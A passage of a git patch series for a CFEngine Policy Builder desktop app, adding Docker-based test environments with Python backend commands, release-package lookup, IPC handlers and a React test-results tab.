platform="ubuntu_22", arch="x86_64", hub=False) -> dict: + releases = json.loads((RELEASES / "enterprise-releases.json").read_text()) + detail = json.loads((RELEASES / "enterprise-3.27.1.json").read_text()) + details = {entry["URL"]: detail for entry in releases["releases"] if entry["version"] == "3.27.1"} + + def detail_of(url: str) -> dict: + if url not in details: + pytest.skip("fixture only has 3.27.1") + return details[url] + + return find_package(releases, detail_of, "enterprise", version, platform, arch, hub) + + +def test_enterprise_hosts_get_the_hub_or_the_client_package(): + hub = _find(hub=True) + client = _find(hub=False) + + assert hub["filename"] == "cfengine-nova-hub_3.27.1-1.ubuntu22_amd64.deb" + assert client["filename"] == "cfengine-nova_3.27.1-1.ubuntu22_amd64.deb" + assert hub["url"].startswith("https://cfengine-package-repos.s3.amazonaws.com/enterprise/Enterprise-3.27.1/hub/") + + +def test_platforms_match_inside_alternatives_and_by_arch(): + assert _find(platform="redhat_9")["filename"] == "cfengine-nova-3.27.1-1.el9.x86_64.rpm" + assert _find(platform="debian_12", arch="aarch64")["filename"] == "cfengine-nova_3.27.1-1.debian12_arm64.deb" + + +def test_a_platform_without_a_package_says_so(): + with pytest.raises(RunnerError, match="No CFEngine enterprise hub 3.27.1 package for redhat_7"): + _find(platform="redhat_7", hub=True) + + +def test_nightly_builds_are_never_picked(): + with pytest.raises(RunnerError, match="No CFEngine enterprise release master"): + _find(version="master") diff --git a/python/uv.lock b/python/uv.lock index b5c1bc4..d19a551 100644 --- a/python/uv.lock +++ b/python/uv.lock @@ -127,6 +127,7 @@ version = "0.1.0" source = { editable = "." } dependencies = [ { name = "cfengine" }, + { name = "docker" }, ] [package.dev-dependencies] @@ -140,7 +141,10 @@ dev = [ ] [package.metadata] -requires-dist = [{ name = "cfengine", specifier = ">=0.20.0" }] +requires-dist = [ + { name = "cfengine", specifier = ">=0.20.0" }, + { name = "docker", specifier = ">=7.1" }, +] [package.metadata.requires-dev] build = [{ name = "pyinstaller", specifier = ">=6.11" }] @@ -232,6 +236,20 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335 }, ] +[[package]] +name = "docker" +version = "7.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pywin32", marker = "sys_platform == 'win32'" }, + { name = "requests" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/88/7f/731ff914b0255d3d065f45fd4e626d4b8c95dbcbaada049f337a6ac16410/docker-7.2.0.tar.gz", hash = "sha256:cebb93773d334f778e023a7ee352a8d6e13ab1bd3b863a4d4a59dec897df43ac", size = 118731 } +wheels = [ + { url = "https://files.pythonhosted.org/packages/75/23/529140fe1aab80fc6992f93a706deec709140a6397439139a054e1515c45/docker-7.2.0-py3-none-any.whl", hash = "sha256:a3f45fdeb9165e2d25d9a1d02ddf3bc70fb572cf5ebbf9b58558c22caf29b71f", size = 148775 }, +] + [[package]] name = "idna" version = "3.18" @@ -544,6 +562,25 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/c6/78/397db326746f0a342855b81216ae1f0a32965deccfd7c830a2dbc66d2483/pytokens-0.4.1-py3-none-any.whl", hash = "sha256:26cef14744a8385f35d0e095dc8b3a7583f6c953c2e3d269c7f82484bf5ad2de", size = 13729 }, ] +[[package]] +name = "pywin32" +version = "312" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/83/ff/32aa7d2ed0ab12b323aaa64f9b75e6ad4f8fd09f9ccfc28c79414d46838d/pywin32-312-cp312-cp312-win32.whl", hash = "sha256:dab4f65ac9c4e48400a2a0530c46c3c579cd5905ecd11b80692373915269208b", size = 6371877 }, + { url = "https://files.pythonhosted.org/packages/03/d9/77040d3b43df3f3be32ea289433d660d2727f5ba327bc73be835127d9d60/pywin32-312-cp312-cp312-win_amd64.whl", hash = "sha256:b457f6d628a47e8a7346ce22acb7e1a46a4a78b52e1d17e1af56871bd19a93bc", size = 6914841 }, + { url = "https://files.pythonhosted.org/packages/e3/cc/7b1ec671775756020a0ee7f4feeaf3c568f0ab86bd3900088cf986937a92/pywin32-312-cp312-cp312-win_arm64.whl", hash = "sha256:6017c58e12f6809fbb0555b75df144c2922a9ffd18e4b9b5afa863b6c1a9d950", size = 6727901 }, + { url = "https://files.pythonhosted.org/packages/2d/41/12fbfd7f36ed2146d8bc9de96c2741296bf0d490b98508496cff322e274c/pywin32-312-cp313-cp313-win32.whl", hash = "sha256:7a27df850933d16a8eabfbaeb73d52b273e2da667f80d70b01a89d1f6828d02c", size = 6370184 }, + { url = "https://files.pythonhosted.org/packages/ba/db/36a78e3403099d31d9746d13fdcde5accc43c1155f375a34d15983a479a7/pywin32-312-cp313-cp313-win_amd64.whl", hash = "sha256:c53e878d15a1c44788082bfe712a905433473aa38f86375b7cf8b45e3acbaaf9", size = 6914298 }, + { url = "https://files.pythonhosted.org/packages/84/37/c1697194092b76de9ed47ca124323f02c57ffc8a45c06f88a3d5acaf01eb/pywin32-312-cp313-cp313-win_arm64.whl", hash = "sha256:59aba5d5940842075343a5ddc6b11f1cdf0d1567fe745290359dfbcc7c2eb831", size = 6727640 }, + { url = "https://files.pythonhosted.org/packages/fc/2b/1f3cded5822fd49c02f40544cbb5f58c7cfd6b1694869fd476cb6170ee97/pywin32-312-cp314-cp314-win32.whl", hash = "sha256:a77a90fbb6881238d2ca9c6fd797b25817f3768fe78d214a90137ff055a75f5b", size = 6468928 }, + { url = "https://files.pythonhosted.org/packages/21/82/3bf86d2e2808902013132e1ce905a7da0da53790f3836c64bf44d55e24f3/pywin32-312-cp314-cp314-win_amd64.whl", hash = "sha256:a4dd3a848290ef724347b19f301045831d8e802fa4464f491b98b1e0a081432e", size = 7024157 }, + { url = "https://files.pythonhosted.org/packages/a4/0e/73f6d6800b4f27655abd9e9f6aaeaefcddb2b946e4674efa2bab184a7f7b/pywin32-312-cp314-cp314-win_arm64.whl", hash = "sha256:9fce94568364e0155e6dfb781ac5d95903be8baf28670632beab1b523f300daa", size = 6839598 }, + { url = "https://files.pythonhosted.org/packages/eb/61/caa39686032d2ebdd04ff0ab5cbe163126c0066d98e00c9018646e42393b/pywin32-312-cp315-cp315-win32.whl", hash = "sha256:5c1fbe4a937a73ae9297384a3da38518cbc694c68ad8a809b2e19acd350f03ed", size = 6471159 }, + { url = "https://files.pythonhosted.org/packages/0f/cd/7e1de64a4a6f69c04214169657ccab0d93a670ea50e35eb8f489d7378249/pywin32-312-cp315-cp315-win_amd64.whl", hash = "sha256:c2f03a0f73f804a13c2735b99392b0cd426bb4f2c4d0178e5ac966a0f21618d5", size = 7025293 }, + { url = "https://files.pythonhosted.org/packages/23/ed/4532e9388e65fa16b46776ef47ad631a64eda1631884488af707666350ed/pywin32-312-cp315-cp315-win_arm64.whl", hash = "sha256:a8597d28f267b39074aef51fa593530082b39cbe5a074226096857b1fed2dfb9", size = 6840337 }, +] + [[package]] name = "pywin32-ctypes" version = "0.2.3" diff --git a/src/main/backend.ts b/src/main/backend.ts index 361c376..066cdfb 100644 --- a/src/main/backend.ts +++ b/src/main/backend.ts @@ -14,6 +14,8 @@ const FORMAT_TIMEOUT_MS = 30_000; const COMPILE_TIMEOUT_MS = 30_000; // Downloading masterfiles on a slow network can take a while. const INIT_TIMEOUT_MS = 120_000; +// Docker queries and the release-data lookup (a network fetch). +const TESTENV_TIMEOUT_MS = 60_000; const isWindows = process.platform === 'win32'; const executableName = isWindows ? 'cfpb-backend.exe' : 'cfpb-backend'; @@ -83,6 +85,76 @@ function runSidecar(args: string[], input: string, timeoutMs: number): Promise void; + // Resolves when the process exits: ok, or the last stderr line as the message. + done: Promise<{ message?: string; ok: boolean }>; +} + +/** + * Spawns the sidecar for a long action (test environments): no timeout, each + * stdout line parsed as one event and handed to `onEvent` as it arrives. + */ +export function startSidecarStream(args: string[], input: string, onEvent: (event: Record) => void): SidecarStream { + const { command, commandArgs } = resolveCommand(); + if (!existsSync(command)) { + return { cancel: () => {}, done: Promise.resolve({ ok: false, message: `Python backend not found at ${command}` }) }; + } + const child = spawn(command, [...commandArgs, ...args], { windowsHide: true }); + let buffered = ''; + let stderr = ''; + let cancelled = false; + child.stdout.setEncoding('utf8'); + child.stdout.on('data', (chunk: string) => { + buffered += chunk; + const lines = buffered.split('\n'); + buffered = lines.pop() ?? ''; + for (const line of lines) { + if (!line.trim()) continue; + try { + onEvent(JSON.parse(line) as Record); + } catch { + onEvent({ t: 'log', line }); + } + } + }); + child.stderr.setEncoding('utf8'); + child.stderr.on('data', (chunk: string) => { + stderr += chunk; + }); + child.stdin.on('error', () => {}); + child.stdin.end(input, 'utf8'); + const done = new Promise<{ message?: string; ok: boolean }>(resolve => { + child.on('error', error => resolve({ ok: false, message: error.message })); + child.on('close', code => { + logStderr(stderr); + if (cancelled) return resolve({ ok: false, message: 'Cancelled' }); + const lastLine = stderr.trim().split(/\r?\n/).filter(Boolean).pop(); + resolve(code === 0 ? { ok: true } : { ok: false, message: lastLine ?? `Process failed (exit ${code})` }); + }); + }); + return { + cancel: () => { + cancelled = true; + child.kill('SIGTERM'); + }, + done + }; +} + +/** A one-shot test-environment query (`testenv doctor|images|package`), resolving with its JSON answer. */ +export async function testEnvQuery(action: 'doctor' | 'images' | 'package', input: unknown = {}): Promise { + const result = await runSidecar(['testenv', action], JSON.stringify(input), TESTENV_TIMEOUT_MS); + logStderr(result.stderr); + if (result.code !== 0) throw sidecarError(result, TESTENV_TIMEOUT_MS); + try { + return JSON.parse(result.stdout) as unknown; + } catch { + throw Object.assign(new Error('Python backend returned an unreadable answer'), { details: result.stdout }); + } +} + // Maps a failed sidecar outcome to an Error: the last stderr line as the // message (the sidecar's summary), the whole stderr as `details`. function sidecarError({ code, signal, stderr }: SidecarResult, timeoutMs: number): Error & { details: string } { diff --git a/src/main/index.ts b/src/main/index.ts index b5a23f0..a72f2b7 100644 --- a/src/main/index.ts +++ b/src/main/index.ts @@ -7,6 +7,7 @@ import { pathToFileURL } from 'url'; import type { RecentProject } from '../preload/api'; import { compilePolicy, formatPolicy, warmUpSidecar } from './backend'; import { clearRecentProjects, getRecentProjects, onRecentsChanged, registerProjectHandlers } from './project'; +import { registerTestEnvHandlers } from './testenv'; const APP_TITLE = 'CFEngine Policy Builder'; const MAX_TITLE_LENGTH = 200; @@ -229,6 +230,7 @@ app.whenReady().then(() => { }); registerProjectHandlers(isTrustedFrame); + registerTestEnvHandlers(isTrustedFrame); // The File menu and the start screen both list recent projects. onRecentsChanged(() => { void refreshMenu(); diff --git a/src/main/testenv.ts b/src/main/testenv.ts new file mode 100644 index 0000000..e166ad6 --- /dev/null +++ b/src/main/testenv.ts @@ -0,0 +1,60 @@ +import { type IpcMainInvokeEvent, type WebFrameMain, app, ipcMain } from 'electron'; + +import { type SidecarStream, startSidecarStream, testEnvQuery } from './backend'; + +/** + * Test environments (the Test Results & Logs tab): Docker hosts managed by the + * sidecar. One-shot queries answer directly; long actions stream their events + * to the window that started them ('testenv:event') and can be cancelled. + */ + +const BASE_IMAGES = new Set(['ubuntu:22.04', 'ubuntu:24.04', 'debian:12']); +const runs = new Map(); + +export function registerTestEnvHandlers(isTrustedFrame: (frame: WebFrameMain | null) => boolean): void { + const trusted = +
(handler: (event: IpcMainInvokeEvent, ...args: A) => R) => + (event: IpcMainInvokeEvent, ...args: A) => { + if (!isTrustedFrame(event.senderFrame)) throw new Error('untrusted sender'); + return handler(event, ...args); + }; + + ipcMain.handle( + 'testenv:doctor', + trusted(() => testEnvQuery('doctor')) + ); + ipcMain.handle( + 'testenv:images', + trusted(() => testEnvQuery('images')) + ); + ipcMain.handle( + 'testenv:pull', + trusted((event, image: unknown) => { + if (typeof image !== 'string' || !BASE_IMAGES.has(image)) throw new Error('Not a supported base image'); + const runId = crypto.randomUUID(); + const sender = event.sender; + const send = (payload: Record) => { + if (!sender.isDestroyed()) sender.send('testenv:event', runId, payload); + }; + const stream = startSidecarStream(['testenv', 'pull'], JSON.stringify({ image }), send); + runs.set(runId, stream); + void stream.done.then(result => { + runs.delete(runId); + // The sidecar's own done/error event may be missing if it was killed or crashed. + send(result.ok ? { t: 'exit', ok: true } : { t: 'exit', ok: false, message: result.message }); + }); + return runId; + }) + ); + ipcMain.handle( + 'testenv:cancel', + trusted((_event, runId: unknown) => { + if (typeof runId === 'string') runs.get(runId)?.cancel(); + }) + ); + + // Nothing outlives the app: streaming runs are child processes. + app.on('will-quit', () => { + for (const run of runs.values()) run.cancel(); + }); +} diff --git a/src/preload/api.d.ts b/src/preload/api.d.ts index 9754e77..0109e5d 100644 --- a/src/preload/api.d.ts +++ b/src/preload/api.d.ts @@ -19,6 +19,32 @@ export interface ProjectContent { export type ProjectType = 'module' | 'policy-set'; +// The Docker Engine as the test environments see it (`testenv doctor`). +export interface DockerStatus { + arch?: string; + available: boolean; + host: string | null; + message: string; + problem: 'not_installed' | 'not_running' | null; + version?: string; +} + +// A base image a test host can run, and whether it's pulled. +export interface BaseImage { + id: string; + image: string; + label: string; + present: boolean; +} + +// One event of a streaming test-environment run; `exit` always comes last. +export type TestEnvEvent = + | { current: number; t: 'progress'; total: number } + | { line: string; t: 'log' } + | { t: 'done' } + | { message: string; t: 'error' } + | { message?: string; ok: boolean; t: 'exit' }; + // The generated files by project path (.cf and ./templates/), and where each block or group // landed in each .cf: id → [first, last] line ranges, 1-based. export interface CompiledPolicy { @@ -76,6 +102,8 @@ declare global { // Optional on purpose: the bridge only exists inside Electron. Renderer // code runs without it under vitest/jsdom (and any future browser mode), api?: { + /** Stops a streaming test-environment run (its last event is an `exit`). */ + cancelTestEnvRun: (runId: string) => Promise; /** Checks whether a project folder can be created at parent/folderName. */ checkProjectTarget: (parent: string, folderName: string) => Promise; /** Compiles the builder's project data (.policy-builder/project.json) without saving it. */ @@ -102,6 +130,8 @@ declare global { importTextFile: () => Promise<{ content: string; fileName: string } | null>; /** Subscribes to native menu clicks, window-close requests and recent-project changes; call the returned function to unsubscribe. */ onMenuAction: (callback: (action: MenuAction, path?: string) => void) => () => void; + /** Subscribes to the events of streaming test-environment runs; call the returned function to unsubscribe. */ + onTestEnvEvent: (callback: (runId: string, event: TestEnvEvent) => void) => () => void; /** Reads a project's cfbs.json: `path` is its folder or the cfbs.json; without one, a native picker asks (null: cancelled). */ openProject: (request?: { path?: string }) => Promise | null>; /** Opens a native folder picker, or null if cancelled. */ @@ -115,6 +145,12 @@ declare global { /** Persists sidebar/palette sizes so they survive an app restart. */ setLayoutSettings: (settings: LayoutSettings) => Promise; shouldUseDarkColors: () => Promise; + /** Docker's state for test environments: available, or not installed / not running. */ + testEnvDoctor: () => Promise; + /** The base images test hosts run, and which are pulled. */ + testEnvImages: () => Promise<{ platforms: BaseImage[] }>; + /** Starts pulling a base image; resolves with the run id its events (onTestEnvEvent) carry. */ + testEnvPull: (image: string) => Promise; }; } } diff --git a/src/preload/index.ts b/src/preload/index.ts index c3f4af7..9893624 100644 --- a/src/preload/index.ts +++ b/src/preload/index.ts @@ -1,15 +1,18 @@ import { contextBridge, ipcRenderer, webUtils } from 'electron'; import type { + BaseImage, CompiledPolicy, CreateProjectRequest, + DockerStatus, MasterfilesVersions, OpenedProject, OperationResult, ProjectContent, ProjectStorage, RecentProject, - TargetCheck + TargetCheck, + TestEnvEvent } from './api'; // Everything the renderer can ask the main process to do goes through this @@ -62,12 +65,24 @@ function onMenuAction(callback: (action: MenuAction, path?: string) => void): () }; } +// Events of streaming test-environment runs (image pulls, later container setup and agent runs). +function onTestEnvEvent(callback: (runId: string, event: TestEnvEvent) => void): () => void { + const listener = (_event: unknown, runId: string, payload: TestEnvEvent) => callback(runId, payload); + ipcRenderer.on('testenv:event', listener); + return () => ipcRenderer.removeListener('testenv:event', listener); +} + const api = { /** Returns whether the OS currently prefers a dark color scheme. */ shouldUseDarkColors: (): Promise => invoke('theme:should-use-dark'), /** Subscribes to native menu clicks, window-close requests and recent-project changes; call the returned function to unsubscribe. */ onMenuAction, + onTestEnvEvent, + testEnvDoctor: (): Promise => invoke('testenv:doctor'), + testEnvImages: (): Promise<{ platforms: BaseImage[] }> => invoke('testenv:images'), + testEnvPull: (image: string): Promise => invoke('testenv:pull', image), + cancelTestEnvRun: (runId: string): Promise => invoke('testenv:cancel', runId), /** Sets the window title (null: no project) and the unsaved-changes state. */ setDocument: (document: { edited: boolean; title: string | null }): Promise => invoke('window:set-document', document), diff --git a/src/renderer/src/components/TestResultsView.tsx b/src/renderer/src/components/TestResultsView.tsx new file mode 100644 index 0000000..2e217e7 --- /dev/null +++ b/src/renderer/src/components/TestResultsView.tsx @@ -0,0 +1,166 @@ +import { useCallback, useEffect, useState } from 'react'; + +import CheckCircleOutlineIcon from '@mui/icons-material/CheckCircleOutlined'; +import WarningAmberIcon from '@mui/icons-material/WarningAmber'; +import { Box, Button, Chip, LinearProgress, Paper, Stack, Typography } from '@mui/material'; + +type Api = NonNullable; +type DockerStatus = Awaited>; +type BaseImage = Awaited>['platforms'][number]; +type TestEnvEvent = Parameters[0]>[1]; + +interface Pull { + current: number; + error?: string; + line?: string; + runId: string; + total: number; +} + +const percentOf = ({ current, total }: Pull) => (total ? Math.round((current * 100) / total) : 0); + +/** + * The Test Results & Logs tab. So far: whether Docker is usable, and the base + * images test hosts run (pulled ahead of time, with progress). Hosts, roles, + * ports and runs come next (see the test-environments plan). + */ +export function TestResultsView() { + const [status, setStatus] = useState(null); + const [checkError, setCheckError] = useState(null); + const [images, setImages] = useState([]); + // By image. + const [pulls, setPulls] = useState>({}); + + // Bumped to check Docker again (Retry / Refresh, and after a pull). + const [checks, setChecks] = useState(0); + const check = useCallback(() => setChecks(count => count + 1), []); + + useEffect(() => { + let current = true; + window.api + ?.testEnvDoctor() + .then(async next => { + const platforms = next.available ? (await window.api!.testEnvImages()).platforms : []; + if (!current) return; + setCheckError(null); + setStatus(next); + setImages(platforms); + }) + .catch((error: unknown) => current && setCheckError(error instanceof Error ? error.message : String(error))); + return () => { + current = false; + }; + }, [checks]); + + useEffect( + () => + window.api?.onTestEnvEvent((runId: string, event: TestEnvEvent) => { + setPulls(current => { + const image = Object.keys(current).find(key => current[key].runId === runId); + if (!image) return current; + const pull = current[image]; + if (event.t === 'progress') return { ...current, [image]: { ...pull, current: event.current, total: event.total } }; + if (event.t === 'log') return { ...current, [image]: { ...pull, line: event.line } }; + if (event.t !== 'exit') return current; + const { [image]: _done, ...rest } = current; + return event.ok ? rest : { ...rest, [image]: { ...pull, runId: '', error: event.message ?? 'Pull failed' } }; + }); + if (event.t === 'exit' && event.ok) check(); + }), + [check] + ); + + if (!window.api) return ; + const api = window.api; + + const pull = async (image: string) => { + const runId = await api.testEnvPull(image); + setPulls(current => ({ ...current, [image]: { runId, current: 0, total: 0 } })); + }; + + return ( + + + + Test environments + + Run the generated policy on Docker containers. Hosts, the hub, ports and runs come next; for now, check Docker and get the base images ready. + + + + + + {status?.available ? : } + + + {checkError + ? 'Couldn’t check Docker' + : status + ? status.available + ? 'Docker is ready' + : status.problem === 'not_installed' + ? 'Docker isn’t installed' + : 'Docker isn’t running' + : 'Checking Docker…'} + + {checkError ?? status?.message} + {status?.host && {status.host}} + + + + + + {status?.available && ( + + Base images + + {images.map(image => { + const running = pulls[image.image]; + return ( + + + + {image.label} + {image.image} + + + {running?.runId ? ( + + ) : ( + + )} + + {running?.runId && ( + + + + {running.total ? `${percentOf(running)}% · ` : ''} + {running.line ?? 'Starting…'} + + + )} + {running?.error && {running.error}} + + ); + })} + + + )} + + + ); +} + +function Placeholder({ text }: { text: string }) { + return ( + + {text} + + ); +} diff --git a/src/renderer/src/pages/ProjectView.tsx b/src/renderer/src/pages/ProjectView.tsx index 740b93f..e907217 100644 --- a/src/renderer/src/pages/ProjectView.tsx +++ b/src/renderer/src/pages/ProjectView.tsx @@ -28,6 +28,7 @@ import { FileSettingsPanel, PropertiesPanel } from '../components/PropertiesPane import type { NewClassDefinition } from '../components/PropertiesPanel'; import { ResizeHandle } from '../components/ResizeHandle'; import { StatusBar } from '../components/StatusBar'; +import { TestResultsView } from '../components/TestResultsView'; import { PROJECT_TABS, TopBar } from '../components/TopBar'; import { ConfirmDialog } from '../components/dialogs/ConfirmDialog'; import { ConditionSection } from '../components/properties/ConditionSection'; @@ -128,13 +129,9 @@ const selectionOf = (multiSelectedIds: string[], selectedInstanceId: string | nu // The tabs besides the canvas. function OtherTab({ tab, ...policy }: { tab: number } & Parameters[0]) { - if (tab === 1) return ; - return ( - - Test results view coming soon. - - ); + return tab === 1 ? : ; } + function initialParams(descriptor: BlockDescriptor): Record { const { parameters } = resolveBlockShape(descriptor, undefined); return Object.fromEntries(parameters.map(parameter => [parameter.name, String(parameter.default ?? '')])); From 2d4d335b7dba5f415f3c24838a1c6c3abcffd47a Mon Sep 17 00:00:00 2001 From: Ihor Aleksandrychiev Date: Fri, 2 Oct 2026 13:46:46 +0300 Subject: [PATCH 030/141] Test environments run the policy on Docker hosts from the Test Results tab An environment (saved in .policy-builder/test-environments.json) has hosts on any Linux platform CFEngine supports, a hub, Community or Enterprise, an architecture (x86-64 by default, emulated on Apple Silicon), ports and environment variables (also from a .env file). Start builds the current edits with cfbs, prepares cached CFEngine images, creates the containers and bootstraps them to the hub; Run policy redeploys and runs the agent until it converges. The log streams per host, actions keep running across tabs, and the tab name shows a spinner, then a check or a red dot. Co-Authored-By: Claude Opus 5.5 (1M context) Signed-off-by: Ihor Aleksandrychiev --- python/cfpb_backend.py | 32 +- python/cfpb_testenv.py | 453 +++++++++++++++++- python/tests/test_testenv.py | 45 ++ src/main/backend.ts | 4 +- src/main/project.ts | 29 +- src/main/testenv.ts | 40 +- src/preload/api.d.ts | 58 ++- src/preload/index.ts | 12 +- .../src/components/TestResultsView.tsx | 380 ++++++++++----- src/renderer/src/components/TopBar.tsx | 22 +- .../src/components/testenv/EnvVarsField.tsx | 52 ++ .../src/components/testenv/HostCard.tsx | 144 ++++++ .../src/components/testenv/LogPane.tsx | 90 ++++ .../src/components/testenv/PortsField.tsx | 68 +++ src/renderer/src/demo/nginxDemoProject.ts | 5 + src/renderer/src/pages/ProjectView.tsx | 27 +- src/renderer/src/project/cfbsProject.ts | 57 ++- .../src/project/testEnvironments.test.ts | 33 ++ src/renderer/src/project/testRuns.ts | 194 ++++++++ src/renderer/src/project/useCompiledPolicy.ts | 2 +- src/renderer/src/project/useProjectSession.ts | 5 +- src/renderer/src/store/history.ts | 5 +- src/renderer/src/store/index.ts | 4 +- src/renderer/src/store/projectSlice/types.ts | 2 + .../src/store/testEnvironmentsSlice/index.ts | 70 +++ .../src/store/testEnvironmentsSlice/types.ts | 45 ++ 26 files changed, 1707 insertions(+), 171 deletions(-) create mode 100644 src/renderer/src/components/testenv/EnvVarsField.tsx create mode 100644 src/renderer/src/components/testenv/HostCard.tsx create mode 100644 src/renderer/src/components/testenv/LogPane.tsx create mode 100644 src/renderer/src/components/testenv/PortsField.tsx create mode 100644 src/renderer/src/project/testEnvironments.test.ts create mode 100644 src/renderer/src/project/testRuns.ts create mode 100644 src/renderer/src/store/testEnvironmentsSlice/index.ts create mode 100644 src/renderer/src/store/testEnvironmentsSlice/types.ts diff --git a/python/cfpb_backend.py b/python/cfpb_backend.py index 783fbbb..456dbef 100644 --- a/python/cfpb_backend.py +++ b/python/cfpb_backend.py @@ -339,14 +339,16 @@ def compile_command() -> int: def testenv_command(action: str) -> int: - """Test environments (cfpb_testenv): `doctor`, `images`, `package` answer with one JSON object; - `pull` streams events, one JSON object per line, ending with a `done` or `error` event.""" + """Test environments (cfpb_testenv): `doctor`, `images`, `package`, `status` answer with one JSON + object; the rest stream events, one JSON object per line, ending with a `done` or `error` event.""" import cfpb_testenv try: - query = json.loads(sys.stdin.read() or "{}") if action in ("package", "pull") else {} + query = json.loads(sys.stdin.read() or "{}") if action not in ("doctor", "images") else {} if not isinstance(query, dict): raise cfpb_testenv.RunnerError("Expected a JSON object on stdin") + if isinstance(query.get("cacheDir"), str): + cfpb_testenv.CACHE_DIR = query["cacheDir"] if action == "pull": image = query.get("image") if image not in {p["image"] for p in cfpb_testenv.PLATFORMS.values()}: @@ -354,14 +356,27 @@ def testenv_command(action: str) -> int: cfpb_testenv.pull(image) cfpb_testenv.emit("done") return 0 - result = {"doctor": cfpb_testenv.doctor, "images": cfpb_testenv.images}.get(action) - print(json.dumps(result() if result else cfpb_testenv.package(query))) + streaming = { + "up": cfpb_testenv.up, + "run": cfpb_testenv.run, + "stop": cfpb_testenv.stop, + "destroy": cfpb_testenv.destroy, + } + if action in streaming: + if not isinstance(query.get("environment"), dict): + raise cfpb_testenv.RunnerError('"environment" must be an object') + streaming[action](query) + return 0 + answers = {"doctor": cfpb_testenv.doctor, "images": cfpb_testenv.images} + queries = {"package": cfpb_testenv.package, "status": cfpb_testenv.status, "platforms": cfpb_testenv.platforms} + result = answers[action]() if action in answers else queries[action](query) + print(json.dumps(result)) return 0 except (json.JSONDecodeError, cfpb_testenv.RunnerError) as error: message = str(error) except Exception as error: # Docker SDK / network errors: one line for the UI message = f"{type(error).__name__}: {error}" - if action == "pull": + if action in ("pull", "up", "run", "stop", "destroy"): cfpb_testenv.emit("error", message=message) print(message, file=sys.stderr) return 1 @@ -380,7 +395,10 @@ def main(argv: list[str] | None = None) -> int: commands.add_parser("compile", help="generate policy from the builder's project data") commands.add_parser("masterfiles", help="the masterfiles build entry for a version") testenv = commands.add_parser("testenv", help="test environments (Docker hosts)") - testenv.add_argument("action", choices=["doctor", "images", "package", "pull"]) + testenv.add_argument( + "action", + choices=["doctor", "images", "package", "platforms", "pull", "status", "up", "run", "stop", "destroy"], + ) args = parser.parse_args(sys.argv[1:] if argv is None else argv) if args.command == "testenv": return testenv_command(args.action) diff --git a/python/cfpb_testenv.py b/python/cfpb_testenv.py index c4ff348..7c7294a 100644 --- a/python/cfpb_testenv.py +++ b/python/cfpb_testenv.py @@ -15,14 +15,43 @@ import urllib.request from pathlib import Path -# The base images a host can run, and the CFEngine package platform each one takes. +# The platforms CFEngine supports that run in a Linux container: the base image, the CFEngine +# package platform it takes (release data classexpr) and how packages install. RHEL-compatible +# ones use AlmaLinux (CentOS 7 for 7, the only free image of it). PLATFORMS = { - "ubuntu-22": {"label": "Ubuntu 22.04", "image": "ubuntu:22.04", "package": "ubuntu_22"}, - "ubuntu-24": {"label": "Ubuntu 24.04", "image": "ubuntu:24.04", "package": "ubuntu_24"}, - "debian-12": {"label": "Debian 12", "image": "debian:12", "package": "debian_12"}, + "ubuntu-20": {"label": "Ubuntu 20.04", "image": "ubuntu:20.04", "package": "ubuntu_20", "family": "deb"}, + "ubuntu-22": {"label": "Ubuntu 22.04", "image": "ubuntu:22.04", "package": "ubuntu_22", "family": "deb"}, + "ubuntu-24": {"label": "Ubuntu 24.04", "image": "ubuntu:24.04", "package": "ubuntu_24", "family": "deb"}, + "debian-12": {"label": "Debian 12", "image": "debian:12", "package": "debian_12", "family": "deb"}, + "debian-13": {"label": "Debian 13", "image": "debian:13", "package": "debian_13", "family": "deb"}, + "rhel-7": {"label": "RHEL 7 (CentOS 7)", "image": "centos:7", "package": "redhat_7", "family": "yum"}, + "rhel-8": {"label": "RHEL 8 (AlmaLinux 8)", "image": "almalinux:8", "package": "redhat_8", "family": "rpm"}, + "rhel-9": {"label": "RHEL 9 (AlmaLinux 9)", "image": "almalinux:9", "package": "redhat_9", "family": "rpm"}, + "rhel-10": {"label": "RHEL 10 (AlmaLinux 10)", "image": "almalinux:10", "package": "redhat_10", "family": "rpm"}, +} +# Release data arch -> Docker platform / image architecture. +DOCKER_PLATFORM = {"x86_64": "linux/amd64", "aarch64": "linux/arm64"} +DOCKER_ARCH = {"x86_64": "amd64", "aarch64": "arm64"} +# How CFEngine and what it needs get installed, by package family: (prerequisites, install {file}). +INSTALL = { + "deb": ( + "DEBIAN_FRONTEND=noninteractive apt-get update -qq && " + "DEBIAN_FRONTEND=noninteractive apt-get install -y -qq python3 procps curl ca-certificates", + "DEBIAN_FRONTEND=noninteractive apt-get install -y {file}", + ), + "rpm": ("dnf install -y -q python3 procps-ng ca-certificates findutils", "dnf install -y {file}"), + # CentOS 7 is end of life: its mirrors are gone, the vault keeps the packages. + "yum": ( + "sed -i -e 's/^mirrorlist/#mirrorlist/' -e 's|^#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|' " + "/etc/yum.repos.d/CentOS-*.repo && yum install -y -q procps-ng curl ca-certificates", + "yum install -y {file}", + ), } RELEASES = "https://cfengine.com/release-data/{edition}/releases.json" HTTP_TIMEOUT = 20 +# Where fetched release data is kept, so a slow or missing network falls back to the last copy +# (set from the request's cacheDir, which main adds). +CACHE_DIR: str | None = None class RunnerError(Exception): @@ -138,12 +167,14 @@ def images() -> dict: } -def pull(image: str) -> None: - """Pulls an image, streaming `progress` events (bytes over all layers) and `log` lines.""" +def pull(image: str, arch: str | None = None) -> None: + """Pulls an image (for `arch`, else the engine's own), streaming `progress` events (bytes over + all layers) and `log` lines.""" repository, _, tag = image.partition(":") layers: dict[str, tuple[int, int]] = {} last = -1 - for status in client().api.pull(repository, tag=tag or "latest", stream=True, decode=True): + platform = DOCKER_PLATFORM.get(arch) if arch else None + for status in client().api.pull(repository, tag=tag or "latest", stream=True, decode=True, platform=platform): if "error" in status: raise RunnerError(status["error"]) detail = status.get("progressDetail") or {} @@ -165,11 +196,18 @@ def pull(image: str) -> None: def _fetch_json(url: str): + cached = Path(CACHE_DIR, "release-data", hashlib.sha256(url.encode()).hexdigest() + ".json") if CACHE_DIR else None try: with 